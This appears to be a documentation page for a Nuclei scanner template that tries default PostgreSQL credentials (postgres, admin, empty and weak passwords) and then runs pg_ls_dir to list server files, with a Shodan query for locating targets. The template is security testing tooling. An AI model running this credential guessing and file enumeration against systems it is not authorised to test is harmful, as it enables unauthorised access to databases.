PostgreSQL File Read

ID: pgsql-file-read

Severity: high

Author: pussycat0x

Tags: js,network,postgresql,authenticated,enum

Description

Read and list the files within the PostgreSQL database,

YAML Source

id: pgsql-file-read

info:
  name: PostgreSQL File Read
  author: pussycat0x
  severity: high
  description: |
    Read and list the files within the PostgreSQL database,
  reference:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-file-read
  metadata:
    verified: true
    max-request: 8
    shodan-query: "product:\"PostgreSQL\""
  tags: js,network,postgresql,authenticated,enum
javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      const postgres = require('nuclei/postgres');
      const client = new postgres.PGClient;
      connected =  client.ExecuteQuery(Host, Port, User, Pass, Db, "select pg_ls_dir('./');");
      Export(connected);

    args:
      Host: "{{Host}}"
      Port: 5432
      User: "{{usernames}}"
      Pass: "{{password}}"
      Db: "{{database}}"

    payloads:
      usernames:
        - postgres
        - admin
      password:
        - postgres
        -
        - 123
        - amber
      database:
        - postgres

    attack: clusterbomb

    extractors:
      - type: json
        json:
          - '.Rows[].pg_ls_dir'
# digest: 4a0a00473045022051ff44e6984798df9e9439d053686fd6d668a587cb2cb8e989094fd30bfc2aee022100e6e7b1275e4d25058f685564b4bf5fc149d9dfb22c50642634079030f8b08917:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "javascript/enumeration/pgsql/pgsql-file-read.yaml"

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